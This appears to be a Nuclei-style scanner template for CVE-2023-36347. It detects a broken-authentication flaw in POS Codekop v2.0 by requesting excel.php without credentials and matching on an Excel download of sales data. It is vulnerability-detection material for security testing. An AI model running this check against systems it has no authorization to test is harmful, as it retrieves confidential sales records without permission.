id: CVE-2023-36347

info:
  name: POS Codekop v2.0 - Broken Authentication
  author: princechaddha
  severity: high
  description: |
    A broken authentication mechanism in the endpoint excel.php of POS Codekop v2.0 allows unauthenticated attackers to download selling data.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive information.
  remediation: |
    Implement proper authentication mechanisms and ensure secure user session management.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-36347
    cwe-id: CWE-306
    epss-score: 0.8448
    epss-percentile: 0.9934
    cpe: cpe:2.3:a:codekop:codekop:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: codekop
    product: codekop
  tags: cve,cve2023,codekop,pos,auth-bypass,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/excel.php"
      - "{{BaseURL}}/pos-kasir-php/excel.php"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Document"

      - type: word
        part: header
        words:
          - "application/vnd.ms-excel"
# digest: 4a0a00473045022024c375ca3b65991c769d48ac9f65c595c261ed9826862d4ca0316d1c94c41c7d02210086a136aaf2cb7cba9c84a60a5cfe55a4cb92ab4b9a9c0625c707a597503f4a4a:922c64590222798bb761d5b6d8e72950